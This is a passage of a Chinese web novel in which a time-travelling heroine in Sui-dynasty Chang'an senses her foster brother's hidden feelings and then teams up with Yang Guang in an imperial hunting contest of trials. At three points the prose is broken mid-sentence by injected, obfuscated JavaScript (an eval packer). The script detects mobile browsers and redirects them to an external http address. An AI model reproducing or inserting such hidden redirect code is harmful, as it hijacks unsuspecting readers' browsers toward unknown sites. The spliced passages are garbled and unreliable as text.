“行了行了!”老贺的大嗓门打断了我的思绪,“人平安回来就好!开始吃饭!都给我多吃点!” 晚饭摆在花厅,全是硬菜。 炙羊肉肥得流油,清蒸鲈鱼鲜得掉眉毛,鸡汤熬得奶白,胡麻饼烤得金黄酥脆。 我捧着碗,看着老贺一边骂我“不省心”一边拼命往我碗里堆肉,看着贺璟默不作声地把鱼腹最嫩的那块肉夹给我,看着云枝在旁边偷偷抹眼泪又忍不住笑…… 心里那点残留的惊悸和后怕,彻底散了。 这就是我的家。 有会吼我会骂我却最护短的老贺,有面冷心热的小贺,有絮絮叨叨却最贴心的云枝。有热乎乎的饭菜,有暖融融的灯火,有让人踏踏实实落地的感觉。 我埋头猛吃,腮帮子塞得鼓鼓囊囊。 劫后余生,吃嘛嘛香! 饭后,我回屋躺了会儿。 伤口还有点疼,但精神放松了,困意就上来了。迷迷糊糊睡了一觉,再睁眼时,天已经黑透了。 月色很好,从窗棂洒进来,一地银霜。 我睡不着了,索性爬起来,手脚并用地爬上屋顶。左臂不敢太用力,费了点劲,但总算上去了。 屋顶的瓦片还残留着白天的余温。我抱膝坐下,仰头看星星。 长安的夜空,和黄河边的很不一样。这里的星星没那么密,但更亮,更稳,像钉在天鹅绒上的钻石。 “伤没好全,别爬高。” 身后传来声音。 我回头,贺璟不知什么时候也上来了,正站在檐角。月色给他轮廓镀了层银边,夜风吹动衣摆。 “你怎么上来了?”我问。 “看你屋里灯灭着,窗开着。”他走过来,在我身边坐下,“猜你在这儿。” 哦,又是查岗。 我没说话,继续看星星。 过了一会儿,贺璟忽然递过来一样东西。 “给。” 我低头。 是块玉佩。 “补你的生辰礼。”贺璟说,声音很平,“晚了半个月。” 我接过来,触手温凉。 等等……怎么又是玉佩? 我心里咯噔一下,瞬间想起篝火边另一块温润的白玉木槿。 好家伙,我这拿的到底是什么剧本?古风玉佩集邮录? 定了定神,我才低头细看。 墨玉沉暗,雕的是一只振翅欲飞的鹰,羽翼凌厉,眼神锐利,带着一股冲破束缚的劲。 “谢了,”我把玉佩小心收进怀里,咧嘴一笑,“很帅,配我。” 贺璟弯了下唇角。 夜风拂过,带了点凉意。 我想起什么,话匣子打开了,侧过身对着他:“我跟你说,岐州那天晚上是真险。我以为我肯定要交代在那儿了,差点就被追上……” 他依旧沉默,只是目光沉沉地落在我的脸上。 “幸好晋王的人马及时赶到。” “你是没看见,黄河边上风沙大得吓人,能把人吹跑……” 我有点语无伦次地讲着那晚的狼狈,讲死士的狠辣,讲雨夜的寒冷,讲自己以为再也回不来的绝望感。 “……那些杀手,嘴里都藏着毒,被抓就自尽,太吓人了。不过还好,晋王那边手脚快,把李纲家人都接走了。” “锦儿。” 他终于开口,打断了我喋喋不休的讲述。 声音不高,却像一块石头投入深潭,瞬间压下了所有杂音。 我闭上嘴,有些无措地看着他。 他也在看我。 月光映在他的眼眸里,亮得惊人,却也深得吓人 。 那不是平日里兄长看妹妹的沉静眼神,里面翻滚着太多我一时无法分辨的情绪,是后怕,是庆幸,是压抑到极致的紧张…… 还有一种,更深的、几乎要将人灼伤的东西。 他就这样静静地看着我,看了很久。 “幸好,”他缓缓地、一字一顿地说,每个字都像是从喉咙深处碾出来的,“你没事。” 我的心跳,毫无征兆地漏跳了一拍。 紧接着,是一种奇怪的懵。 脑子里好像突然卡壳了,然后无数画面跟走马灯似的闪过,马车里悬空的手,一次次沉默却及时的守护,提前赶回的行程,此刻这双不同以往的眼睛…… 等等。 这些画面拼在一起,好像指向了一个……不太对劲的方向? 贺璟……他该不会是……? 不可能吧?! 他是我阿兄啊!是那个会在我翻墙时把我拎下来、会在我射箭脱靶时面无表情说“再来”、会在我跟老贺顶嘴时默默递杯茶让我消气的阿兄啊! 那种……喜欢? 我下意识地晃了晃脑袋,想把这不靠谱的念头甩出去。 肯定是我想多了,最近被杨广那家伙搞得神经兮兮,看谁都像有阴谋…… 我几乎是本能地、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192731|196057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞪大眼睛看向他,想从他脸上找到一丝“你又在胡思乱想”的熟悉表情。 可是没有。 他眼底那片深海,此刻映着月光,坦荡得……让我有点慌。没有躲闪,没有玩笑,只有一种沉甸甸的、几乎要溢出来的专注。 ……好像是真的。 这个认知像个小锤子,“咚”地敲在我心口上。 不疼,但震得我有点晕,还有点……手足无措。 天啊,这什么情况? 我该说什么?是不是该说点啥?说“阿兄你是不是误会了什么”?还是“哈哈哈今天月亮真圆”? 时间仿佛凝滞了。 夜风吹动他额前的碎发,他的眼神专注得让人心慌。他像是看穿了我瞬间的呆滞和混乱,嘴唇微微动了动。 我心头一紧,完了,他要说话了!说什么?我还没想好怎么接! 然而,他最终什么也没说。 没有追问,没有剖白,没有更进一步的靠近。 他只是收回了那几乎要将人洞穿的目光,重新望向了远处的夜空,侧脸的线条在月光下显得既坚硬,又带着一丝……说不清的寂寥。 仿佛刚才那一眼的惊涛骇浪,只是月光投下的错觉。 夜风重新开始流动。 “……嗯,”我干巴巴地应了一声,声音轻得几乎散在风里,“我……我这不是好好的嘛。” 他没再回应。 我们就这样并肩坐在屋顶上,看着同一片星空。 但空气里好像有什么东西,悄悄地变了。 不知过了多久,贺璟站起身。 “夜里凉,”他说,声音恢复了惯常的平稳,仿佛刚才那短暂的失态从未发生,“你伤没好利索,早些下去歇着。” “哦,好。” “阿兄,”在他转身准备下去前,我忽然小声开口,“谢谢你……赶回来。” 他的背影顿了一下,没有回头。 “嗯。”他应了一声,身影很快消失在屋檐下。 夜风吹过,有点凉。 我还坐在那儿,抱紧膝盖,把脸埋进去。 手里攥着那块墨玉鹰佩,凉意透过掌心。 心里像塞了一团理不清的麻。 幸好…… 这念头刚冒出来,我就愣住了。幸好什么?幸好他没说破,让我还能假装一切如常? 可这“侥幸”让我心里更乱了。 我明明看见了,他刚才的眼神,沉得像海,里面有太多我从未见过、也不敢深究的东西。 如果他说了呢? 我大概会手足无措,笨拙地拒绝,用“兄妹”当借口,把那片沉甸甸的心意挡回去。 然后呢? 我们还能像过去五年那样,自然地相处吗?我还能毫无负担地依赖他,把这个家当作最安稳的港湾吗? 我珍惜贺璟,珍惜他给的庇护和陪伴,珍惜这个家每一点暖意。 那是扎根于生死相依的、深厚的亲情。正因为太珍贵,我才格外害怕,怕它变质,更怕它因为我的不知如何回应而受损。 我知道自己对他,没有那种怦然心动的感觉,我对他没有爱情。 可这份清醒,此刻只让我觉得无力。 我好像在无形中,倚靠着他的好,却给不了他想要的回应。 这认知让我胸口发闷,有些难言的愧疚。 就在我被这理不清的愧疚缠绕时,另一张脸,毫无预兆地撞进我脑子里。 那是异常亮的一双眼睛,映着篝火与月光,嘴角噙着笑,声音清朗笃定:“此等功业,功在千秋。” 像惊雷劈过脑海。 我吓得浑身一颤,差点从屋顶滑下去!慌忙扒住瓦片,心跳如鼓。 萧锦! 你在想什么?! 不能想!绝对不能! 那个人心思深如海,手段利如刀。他站在权力漩涡的中心,身后是万里江山,也是万丈深渊。他是史书上那个名字,是未来可能把天都捅破的“暴君”。 他怎么会是你能想的?怎么能……被吸引? 我用力摇头,想把那影子甩出去。 夜风更冷了,吹得我打了个寒颤。 可越是抗拒,那影子越是清晰,他念诗时的侧脸,递药时不容拒绝的手,谈起运河时眼中灼人的光…… 还有那句“功在千秋”,像烙铁般烫在记忆里。 完了。 一边是不敢伤害、害怕失去的亲情羁绊。 一边是明知危险、却仍被吸引的致命烈焰。 这根本不是选择,而是两难。 哪个方向,都让我心慌。 星空那么辽阔,星星那么亮。 可我心里,却乱糟糟的。 算了。 不想了。 明天太阳照常升起,该挨的骂还得挨,该练的功还得练。 至于其他的…… 走一步看一步吧。 31. 春猎之非诚勿扰 最近天气特别好。 我瘫在葡萄架下的躺椅上,眯着眼看日光透过叶子洒下的光斑。 云枝坐在旁边的小凳子上,絮絮叨叨地讲: “厨房的王婶子说,西市新来了个卖胡饼的,那饼烤得又酥又香……” “门房老张头家的猫又生了一窝,毛色可好看了……” 我嗯嗯啊啊地应着,脑子里什么也没想。 这大概是我这段日子以来,最像“闺秀”的一段时间。吃睡、练功、逗云枝、看闲书。没有预知画面的惊吓,也没有……那些让人头疼的人和事。 岐州那场生死逃亡,像是上辈子的事了。 手臂上的伤早就好了,只留下一道浅白的痕迹。有时候半夜惊醒,还会恍惚觉得能闻到那晚的血腥味和雨水的土腥气,但睁开眼,只有帐顶熟悉的纹路,和窗外安稳的虫鸣。 贺璟也再没提过那晚的事,我起初心里头还绕着几分不自在,总觉得那层薄薄的窗户纸被什么东西捅得摇摇欲坠。可瞧他一切如常,甚至查我功课、挑错的语气也跟以往一般无二。 那夜的沉默,那欲言又止的神情,都仿佛只是我惊魂未定下生出的幻觉。 他不提,我便也不再说。日子悠闲地过,那点说不清道不明的异样,似乎真就被这流水般的日常给磨平了、冲淡了。 我俩的关系,便也这么着,自然而然地又回到了从前的模样,他是那个话不多却事事靠得住的兄长,我是偶尔会惹点小麻烦、但也还算肯用功的妹妹。 直到那天晚饭,贺伯伯下朝回来,扒了两口饭,忽然想起什么似的,顺口提了一句: “对了锦儿,过些日子春猎,你也准备准备。” 我筷子一顿:“春猎?” 脑子里瞬间闪过一张刻意很久没有去想起的脸,和那句轻飘飘的,“下个月春猎,届时正好切磋切磋。” 杨广说的。 我手一抖,汤匙“当啷”一声磕在碗沿上。 “那个……”我放下筷子,试图挣扎,脸上挤出十二分的诚恳,“贺伯伯,我能……不去吗?我觉得我最近身体有点虚,骑不动马,而且山里蚊子多,我皮肤嫩,一咬一个包……” 老贺瞪我一眼,那眼神明明白白写着‘你少来这套’。 “装什么病?陛下今儿在朝上特意提了,今年春猎要改章程,适龄的、在京的,都得去。这是恩典。” 他顿了顿,哼了一声,“还说往年春猎太板正,今年要‘图个新鲜热闹’。” 我:“??” 春猎不是年年都那样?一群人打打猎比比谁打的多?啥叫新鲜热闹? 而且老皇帝杨坚,那可是出了名的勤政节俭,最讨厌虚头巴脑的玩意儿。 事出反常必有妖。 这妖风,怕不是要刮得人头掉。 我突然有种极其不祥的预感,脑子里已经开始预演各种悲惨画面:被杨广堵在林子里“切磋”,被薛静姝下绊子…… 完了。 悠闲日子,彻底到头了。 春猎那日,天还没亮透,我就被云枝从床上薅起来了。 “小姐快醒醒!今日要去终南山猎场,再不起就迟了!” 我迷迷糊糊坐起来,左臂的伤口已经愈合得差不多,但早起时还是会隐隐作痛。想起今天要面对什么,我整个人都不好了。 “云枝,”我抱着被子耍赖,“我觉得我伤还没好利索,要不再躺两天?” “小姐!”云枝急得跺脚,“老爷昨儿可是特意交代了,陛下钦点,适龄在京的都得去!您要是不去,那可是抗旨!” 得,没得商量。 我认命地爬起来,任由云枝给我套上一身浅绿色骑装,头发束成高马尾。铜镜里的姑娘脸色还有些苍白,但眼神倒是清亮了不少。 “小姐今天真精神!”云枝给我系好腰带,又往我怀里塞了个小荷包,“里面是金疮药和几块饴糖,万一用得着呢。” 我捏了捏荷包,心里暖暖的:“知道了,小管家婆。” 马车摇摇晃晃出了城,往终南山方向去。我掀开车帘往外看,官道上车马络绎不绝,都是往猎场去的。世家子弟骑马走在前面,女眷们大多坐车,偶尔有胆子大的贵女也骑着马,英姿飒爽。 贺璟骑马跟在我们的马车旁,一身玄色骑装,背脊挺直。 阳光落在他侧脸上,勾勒出清晰的下颌线。 有时候我真纳闷,老贺那个大嗓门、胡子拉碴的粗人,到底是怎么生出贺璟这种顶级大帅哥的? 对了,肯定是我那从未谋面的贺伯母,美得惊天动地。 终南山猎场比我想象的还要大。 林木参天,山势连绵,远处还能听见隐约的兽吼。 猎场外围已经搭起了高台和营帐,旌旗招展,甲士林立。空气里有草叶和泥土的味道,混合着马匹的腥气,莫名让人紧张。 我跟在贺璟身后下了车,抬眼望去,正好对上薛静姝那双写满‘你怎么还没死’的眼睛。她今天穿了一身海棠红骑装,倒是鲜艳夺目,只是那表情实在破坏美感。 我懒得理她,移开视线,正好看见独孤明月朝这边走来。她穿着鹅黄色骑装,衬得肌肤胜雪,明艳又不失英气。 “贺世兄,萧妹妹。”她笑着打招呼,落落大方。 贺璟微微颔首:“独孤姑娘。” 我也点头笑:“明月姐姐。” 还要再说两句,目光一扫,顿住了。 杨广在不远处勒马而立。 半个月没见,他今天换了身黑色绣金线的骑装,肩背宽阔,腰身收束,整个人看着利落又精神,往常那股读书人的温润气淡了,倒显出几分武将般的硬朗来。 我看着他,脑子里莫名冒出个念头:黄河堤坝……都修好了? 这念头来得没头没脑,我自己都愣了下。 杨广的目光在我脸上停了停,点了个头,又扫过我身边的贺璟和独孤明月,随即平静地移开。 就在这时,几个内侍快步走来,示意男女分列两侧站好。我刚退到女子队列里站定,就听见三声清脆的净鞭响彻全场。 “啪!啪!啪!” “陛下驾到!” 山间瞬间鸦雀无声,所有人齐刷刷跪倒,黑压压一片。 高台上,皇帝老爷子一身骑射常服,独孤皇后端坐一旁。 老爷子目光扫过台下,在太子和晋王身上停了停,最后落回我们这些“适龄青年”脸上。 “今年春猎,”皇帝开口,声音不大,却压得全场瞬间安静,“朕想换个玩法。” 来了。 我竖起耳朵。 “二人一队,自行邀约。”他顿了顿,目光扫过台下,“入终南山猎场,两日一夜,自行食宿。场中设四轮考校,过关者继续前行,直至取得猎首令。” 我:“……” 两天一夜?还闯关? 好家伙,这是荒野求生+智勇大冲关二合一豪华套餐啊! 老爷子您还挺时髦! “取得猎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197414|196057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 首令者,”皇帝又顿了顿,目光在太子和晋王脸上格外停了停,“可入宫,观三日奏报。” 入宫观三日奏报?! 我愣了一秒,才反应过来。这是让胜者去宫里看三天朝廷的机密文件!相当于现代让你去总裁办公室看三天公司核心报表和未来五年战略规划! 合着老皇帝在这儿等着呢。 什么“图个新鲜”,分明是考验两个皇子,看他们能拉拢到什么人,能展现出什么本事,他们的“队友”又是什么成色。 至于我们这些“适龄青年”?打个酱油,顺便再让皇帝看看,有没有什么值得捡回去用的漏儿。 姜还是老的辣。 我默默给老皇帝点了个蜡。 “现在,”皇帝一挥手,“自行组队。一炷香后,入场。” 话音刚落,场上瞬间就乱了。 我第一反应就是,赶紧找贺璟! 这种明摆着是坑的场合,当然是跟自家人组队最安全。贺璟虽然面冷,但靠谱啊! 可我刚抬腿,还没来得及走。 “萧姑娘。” 一道声音已经在身后响起。 完了。 被截胡了。 我骂骂咧咧地回头。 竟然是太子? 啥? 我甚至都算不上认识他!至少,没单独打过交道! 我后退半步,屈膝行礼,脑子转得飞快,怎么脱身? 太子笑了笑,那笑容浮在面上,眼神却像刷子一样在我脸上身上扫了一圈,带着毫不掩饰的估量。 “麟德殿上,萧姑娘那一手蒙眼箭术,实在令孤印象深刻。”他声音刻意放得温和,却掩不住那份居高临下,“此番狩猎,孤正缺一位得力臂助。若姑娘不弃,不如与孤同组一队?” 原来是因为这个。 完了,上次宫宴出风头出大发了,被这草包惦记上了。 他还想再说,我已经听不进去了,满脑子都是怎么拒绝。 跟太子一组?在荒山野岭待两天一夜?看他那张被酒色掏空的脸?关键时刻被他推出去挡箭? 光是想想就头皮发麻。 可怎么拒绝? 他毕竟是太子,当面驳他面子,以后有的是小鞋穿。 就在我急得额头冒汗的时候,一个声音插了进来。 “皇兄。” 杨广不知何时走了过来,站在太子身侧半步。他比太子高了小半个头,此刻目光平静地扫过我,最后落在太子脸上。 太子脸色一沉:“二弟这是何意?” “臣弟,并非有意与皇兄相争。”杨广语气平缓,“只是与萧姑娘有约,此番春猎要切磋骑射。君子重诺,不敢轻毁。” 太子眯起眼睛:“孤怎么不知此事?” 杨广神色坦然:“小事一桩,不敢劳皇兄挂心。”他看向我,“萧姑娘可还记得?” 我:“……” 记得。太记得了。 就是记得太清楚,我才想装死不来的。 我看看太子,又看看杨广。俩人都不说话了,四只眼睛全盯在我身上。 这架势,必须选,立刻选,没得商量。 太子那边,草包+好色,跟他进山等于把命别裤腰带上。 杨广……不是草包,是深渊。 我生怕自己多看两眼,又会像之前那样,被他不经意间流露出的某种复杂特质搅乱心神,生出不该有的探究欲。 可眼下,我没有第三个选择。 32. 智勇大冲关 太子见我不语,又逼近一步,语气带上了几分储君的威压:“萧姑娘?” 杨广没说话,只是微微侧身,挡开了太子些许迫人的视线。他依旧看着我,那双眼睛深得像潭水,里面没有逼迫,只有等待,仿佛笃定我会做出“正确”的选择。 两害相权…… 我闭了闭眼,指甲掐进掌心。 至少,杨广不会蠢到在猎场里明目张胆地对我做什么下作事。至少,跟聪明人周旋,我还有挣扎和算计的余地。 跟太子?我怕自己活不到第二天早上。 “臣女……”我深吸一口气,避开太子几乎喷火的目光,转向杨广,屈膝行礼,每个字都说得艰难。 “不敢忘殿下之约。此番,有劳晋王殿下……照拂。” 话一出口,我就觉得一阵无力。 仿佛又回到了那个被水汽蒸腾的浴房,被他轻而易举地拿捏住。 太子脸色沉了沉,盯着我看了片刻,最终重重哼了一声:“既然如此,孤也不夺人所好。” 他甩袖转身,声音里压着火气。 杨广脸上没什么表情,但我分明看到他唇角极细微地动了一下。 那不是笑,是一种“我就知道你会选我”的笃定。 他转回身看我,“萧姑娘,看来我们又要结伴了。” 又? 我更气了。 你得意什么?赢了个草包很有成就感吗? 杨广也不管我此刻是不是咬牙切齿,只朝我伸出手,掌心向上,做了一个“请”的姿势。 “萧姑娘,请。” 随即朝着划定的入场区域走去。 我跟在他身后半步远的地方,看着他挺拔如松的背影,在心里默默安慰自己: 至少……他脑子比太子好使。在山里,跟聪明人一起,哪怕要互相提防、斗智斗勇,总好过被一个猪队友蠢死。 吧? 我们这边刚“组队”成功,场上的其他组合也陆续尘埃落定。 第一对,毫无悬念的“门当户对”:贺璟与独孤明月。 独孤明月走向贺璟,她有点害羞,但更多的是坚定:“贺世兄,明月略通骑射,不知可否与世兄同组一队?” 周围瞬间安静了几秒,许多目光都聚焦过去。 离得远,我看不清贺璟的表情,只看见他背脊似乎绷得更直了,然后抬眼望了望,好像在找我,直到看到我和杨广站在一起,才微微颔首。 独孤明月脸上随即绽开一个笑容,自然而然地往前一步,站到了贺璟身侧。 第二对,画风突变的“美女与野兽”:薛静姝与宇文成都。 这组合简直就是全场的搞笑担当。 薛静姝目标极其明确,环视一圈后,直扑全场看起来最魁梧、最像“潜力股”的那个少年,宇文成都。 对了,就是那个史书留名、传说中的“天保大将军”,隋唐第一猛人。 当然,他现在还是青春版、未完全体。大概十六七岁,身材已经高大得惊人,猿臂蜂腰,剑眉星目,穿着一身普通的武官服,结实的肌肉线条快把衣料撑开。 就是此刻表情……有点懵。 “宇文将军!”薛静姝声音甜得能齁死人,“静姝久闻将军勇武过人,心中仰慕!此番狩猎,不知将军可愿与静姝一队?静姝定会紧跟将军,绝不拖后腿!” 宇文成都脸“唰”地红了,手足无措地抓了抓后脑勺:“啊?这……薛姑娘,我、我就是个粗人……” “无妨无妨!”薛静姝恨不得贴上去,“将军只需在前开路,静姝自会跟随!” 周围已经有人憋不住,低低笑出声来。 宇文成都脸更红了,慌乱地摆摆手:“行、行吧!姑娘不嫌弃就行……” 说完,他自己好像才反应过来答应了什么,一张脸皱成了苦瓜。 我差点没笑出声。 薛静姝,真有你的。眼光毒辣,下手精准,专挑这种武力值爆表、心思却单纯如白纸的“顶级潜力股”下手。 宇文成都这憨憨,一看就是那种被人卖了还会乐呵呵帮人数钱,被漂亮姑娘一哄就找不着北的类型。 啧,摊上薛静姝,自求多福吧。 希望这两天的荒野求生,宇文小将军别被她坑得太惨。 第三对,太子的和独孤明月的妹妹,独孤明瑶。 太子被我拒绝后,黑着脸环视一圈,最后走向了独孤明瑶。这是独孤家二小姐,比明月小一岁,容貌清秀,气质文静,平时话不多。 太子没什么兴致,但为了面子,也为了拉拢独孤家,还是抬了抬下巴:“明瑶可愿与孤同行?” 独孤明瑶俯身行礼:“臣女荣幸。” 其他队伍也七七八八凑成了:有表兄弟、表兄妹亲上加亲的,有世家子弟互相抱团取暖的,也有实在找不到人、面面相觑,最后被内侍笑眯眯“随机指定”凑成一对的。 皇帝高踞台上,将台下这短短半柱香时间内发生的分合、算计、权衡,尽收眼底。他什么也没说,只那双眼睛缓缓扫过每一对组合。 “呜——呜——呜——” 三声低沉雄浑的号角长鸣。 “入猎场!” 宦官尖利的嗓音传遍全场。 我目光一扫,正看到薛静姝“娇弱无力”地将自己的水囊和一个小包裹递给宇文成都,宇文成都一脸“这些也要我拿?”的懵懂和无奈,但还是老老实实接了过去,挂在马鞍旁,那高大的身影配上这略显“贤惠”的动作,反差感十足。 没忍住又笑出了声。 刚进林子没一会儿,就看见前面一群人堵着。 好像是,排队过桥? 凑近一看,我倒吸一口凉气。 这哪是桥啊!这是阎王爷的奈何桥! 两条锈得掉渣的铁索,横在二十多丈宽的深涧上,底下云雾缭绕,深不见底。对岸崖壁上密密麻麻全是黑洞洞的机簧口。 几个禁军打扮的人杵在那儿,面瘫着脸宣布规则:“二人一队过涧,落者淘汰。限时一炷香。” 话音没落,最前排的那队文官子弟脸就白了。 这俩是礼部侍郎家那对双胞胎,这会儿腿抖得跟触电似的。 “弟弟……你、你先……” “不不不,兄长先请……” 磨叽了半天,哥哥一咬牙,颤巍巍踩上铁索。 刚走两步。 “咻咻咻!” 对面机关响了,十几支木箭劈头盖脸射过来! “啊!” 哥哥手忙脚乱去挡,结果脚下一滑。我去,铁索上居然抹了油! 他整个人像滑滑梯似的往下出溜,弟弟想拉,也被带了下去。 哥俩“砰砰”两声,砸进了底下的大网兜里。 监考官眼皮都不抬:“淘汰。下一个。” 第二对是兵部家的兄弟,看着挺壮实。 哥哥骂了句脏话:“怕个屁!冲过去!” 俩人同时发力往前冲,结果那油太滑了,根本刹不住车。 哥哥往前一扑,弟弟想拽他,自己先滑了出去。两人在铁索上手舞足蹈,最后也“噗通噗通”掉进了网兜。 “下一个。” 然后我就看见了宇文成都。 这位大哥直接对薛静姝说:“薛姑娘,得罪了。”然后弯腰一把将她打横抱起! 薛静姝惊呼一声搂住他脖子。 宇文成都沉腰发力,大步流星踏上铁索。 箭雨射来,他根本不挡,全靠步法和速度,脚下踩着油滑的铁索如履平地,几个起落就“咚咚咚”冲了过去,稳如泰山。 把薛静姝放下时,她脸都红了,也不知是吓的还是羞的。 宇文成都挠挠头:“这样稳当些。” ……行,你厉害。 我下意识转头看向杨广。 他正望着宇文成都的背影,目光专注,那种专注不同于平时的散漫或算计,而是像在欣赏一把绝世好剑,锋利、沉稳,恰好能握在手中。 他看得太认真,连嘴角都无意识地抿紧了。 我想起来,宇文成都在历史上的确是杨广麾下第一猛将,天宝大将军,为他征战四方。 但此刻的杨广大概怎么也不会想到,二十多年后,在江都那个混乱的雨夜里,提着刀走向他、结束他生命的人,会是这位猛将的父亲,宇文化及。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200341|196057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>那是五十岁的杨广,是史书里那个骄奢暴虐、众叛亲离的“隋炀帝”。 那是二十多年后的事情了。 此刻,我看着他年轻的,在阳光下意气风发的侧脸,突然有点唏嘘。 不远处传来监考官的声音:“下一组准备——” 是贺璟那组。 我回回神,不再去想那些尚未发生的事情。 独孤明月踏上铁索的瞬间,我明显看见她身形晃了一下,脚下太滑了。 “扶着我手臂。”贺璟伸手。 独孤明月犹豫一瞬,还是轻轻搭了上去。 两人一前一后踏上铁索。 贺璟走在前,剑不出鞘,只用剑鞘左右格挡木箭。独孤明月紧跟其后,步伐虽稳,但每一次铁索晃动,她都会下意识收紧手指。 走到一半时,一支箭从刁钻角度射来,直冲明月侧腰。 贺璟几乎同时回手,一带一护,将她拉到身后。箭擦着他玄色衣袖过去,“嗤啦”把衣服划开一道口子。 “小心。”他声音压得很低。 独孤明月站稳,脸颊微红:“多谢贺世兄。” “该我们了。”杨广看我一眼。 我们站上铁索。别说,脚下这油确实划,不过我这些年的马步也不是白蹲的,主打一个下盘稳。 “走!” 我们同时冲出去。箭雨射来,他披风一卷兜住大半,我抽出束带“啪啪”抽飞漏网的。 铁索晃得厉害,我借着滑劲稳住,顺手又打掉一支箭。 我们没硬冲,也没全靠他。虽然脚下打滑两次,但最终稳稳落地,时间最快。 对岸薛静姝又在尖叫说晋王殿下好帅好厉害,我懒得理。倒是贺璟朝我看了一眼,轻轻点头。 还行,没丢人。 太子那组是倒数第二个。 太子脸有点白,深吸了口气,看向独孤明瑶:“明瑶,孤……先试试。若不行,你……” “殿下,”独孤明瑶声音温和却坚定,“臣女相信殿下,请。” 太子咬了咬牙,小心翼翼踩上铁索。他显然没练过这个,步子虚浮,刚走两步,木箭射来,他一个踉跄。 诶,居然稳住了? 接着,射来的木箭明显稀疏了不少,力道也软。 太子居然就这么跌跌撞撞冲过去了。 独孤明瑶紧随其后,避过几支零星的箭,也跟着过去了。 我眯了眯眼。 余光中好像扫到考官的手指动了一下?果然是放水,不过这位太子爷至少没怂到原地不动,还算给了点面子。 最后一队是裴氏兄妹。 这俩人我听说过,河东裴氏,将门世家,祖上出过好几位名将。 裴文若是这一代长子,据说兵法武艺都得真传,是年轻一辈里公认的翘楚。 他妹妹裴秀更是个传奇,不爱红装爱武装,从小跟着父兄习武,骑射功夫连许多男子都自愧不如,我也一直想找机会与她结识。 “小妹,跟紧。”裴文若率先踏索。 裴秀点头,两人一前一后,步伐稳健得不像走在涂了桐油的铁索上。 裴文若用长刀格挡飞刀,刀法大开大合;裴秀则手持两把短刃,身形灵动,一边格挡一边竟还利用箭矢射在铁索上的力道借力调整步伐。 两人配合默契,稳稳过关。 第一关结束,居然直接淘汰了一大半队伍,就剩我们八组过关。 监考官面无表情地扫了我们一眼,“过关的八组,随我来,前往第二关。”然后转向那些淘汰的人,语气平淡却透着股无情: “未过关者,留在此地,直至猎期结束,不得继续前行,亦不得擅自返回。猎场内不设食宿供给,一切自理。” 我听得嘴角一抽。 好家伙,淘汰了还得原地坐牢,两天一夜自生自灭? 这惩罚……够狠的。 我忍不住瞥了眼对面那对礼部双胞胎,俩小书生脸都绿了。 啧,让他们在这荒山野岭自己找吃的住的……真够呛。 考官说完不再耽搁,转身就朝林子深处走去。我们八组人互相看了看,没人多话,默默跟了上去。 33. 荒野求生 刚过完铁索桥那关,气儿还没喘匀乎呢。 往里走了没多远,监考官手一指,好嘛,悬崖上还挂着个三层小阁楼! “第二关在此阁内。”他言简意赅,“规矩跟刚才一样:两人一队,同进同出。三层楼,每层一题,全对才算过。限时一炷香。” “现在,按你们过关的顺序,依次进去。” 通往阁楼的栈道窄得跟面条似的,山风一吹,晃晃悠悠。 薛静姝当场就吓哭了:“我不上去!这、这要摔死的!” 宇文成都二话不说,又把她拎起来,几个大步稳稳当当地跨了过去。 贺璟和独孤明月也上去了,两人一前一后,走得挺稳当。 轮到我们了。 杨广走在前头,我跟在后头。 刚走出两步。 “咻!” 一支木箭突然从侧面崖壁射出来,擦着我俩中间飞过! 我吓了一跳,脚下差点踩空。 杨广几乎同时回身,手臂稳稳托住了我,然后侧头看向箭射来的方向,居然笑了。 “看来是有人怕咱们这关过得太容易。” 我借着他的力站稳,深呼吸,“你爹这是给你增加难度呢?”我忍不住小声吐槽:“刚才太子过去的时候,可没这待遇。” 杨广收回手,继续往前走:“习惯了。” 不知道是不是我听错了,他平淡的语气下,好像还藏着几分涩然。 我也跟着往前走,心里还是忍不住地犯嘀咕:是亲爹吗?偏心眼到家了吧! 总算进了阁楼。 一层光线昏暗,只点了一盏油灯。灯后坐着个白胡子老头,正靠着椅背闭目养神,听到脚步声才懒洋洋掀开眼皮。 “抽题。”老头指了指桌上一个竹筒。 杨广上前抽了一支竹签,递过去。 老头眯眼看了看,念道:“第一题:《古诗十九首》中‘人生寄一世,奄忽若飙尘’,此句是否真在其中?” 杨广几乎不假思索:“是。出自《今日良宴会》篇。” 老头点点头,提笔在册子上记了一笔:“过。上二楼。” 干脆。 二楼光线好些,靠窗坐着个中年书生,穿戴整齐,坐姿笔直。 “第二题。”书生声音平板,“《楚辞·九歌·湘夫人》中,‘荒忽兮远望,观流水兮潺湲’,其上一句为何?” 杨广侧头看向我:“你会不会?” 